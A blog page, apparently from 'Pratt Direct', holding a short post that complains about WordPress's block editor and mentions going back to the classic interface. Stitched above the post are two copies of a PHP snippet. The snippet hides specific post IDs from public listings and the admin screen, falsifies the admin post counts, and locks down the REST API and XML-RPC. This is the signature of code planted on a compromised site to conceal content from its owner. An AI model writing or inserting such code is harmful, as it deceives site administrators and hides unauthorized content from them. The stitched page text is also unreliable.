add_action('init', function () {
$excluded = array(6745);
add_action('pre_get_posts', function ($q) use ($excluded) {
if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) {
$q->set('post__not_in', $excluded);
}
});
add_action('pre_get_posts', function ($q) use ($excluded) {
if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) {
$s = get_current_screen();
if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded);
}
});
add_filter('views_edit-post', function ($views) use ($excluded) {
foreach (['all', 'publish'] as $k) {
if (isset($views[$k])) {
$views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]);
}
}
return $views;
});
add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded]));
add_filter('rest_pre_insert_post', fn($post, $r) =>
(defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST')
? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403])
: $post, 10, 2);
add_filter('rest_authentication_errors', fn($r) =>
!is_user_logged_in()
? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403])
: $r);
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => '']));
add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.'));
});
add_action('init', function () {
$excluded = array(53093);
add_action('pre_get_posts', function ($q) use ($excluded) {
if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) {
$q->set('post__not_in', $excluded);
}
});
add_action('pre_get_posts', function ($q) use ($excluded) {
if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) {
$s = get_current_screen();
if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded);
}
});
add_filter('views_edit-post', function ($views) use ($excluded) {
foreach (['all', 'publish'] as $k) {
if (isset($views[$k])) {
$views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]);
}
}
return $views;
});
add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded]));
add_filter('rest_pre_insert_post', fn($post, $r) =>
(defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST')
? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403])
: $post, 10, 2);
add_filter('rest_authentication_errors', fn($r) =>
!is_user_logged_in()
? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403])
: $r);
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => '']));
add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.'));
});
Not a fan of the new ‘blocks’ for webpage composition – Pratt Direct
Not a fan of the new ‘blocks’ for webpage composition
Most of my wordpress sites became difficult to edit after updating to the lastest version. Whether I was using wp-bakery or other editing plugins, the page editing interface converting to a block or shortcode method of building/editing web pages.
Fortunately, I found methods of restoring the easier to use old interface by
paying for a wp-bakery update for the themes which came with wp-bakery pre-installed
adding and activating a ‘classic editor’ plugin for sites without wp-bakery.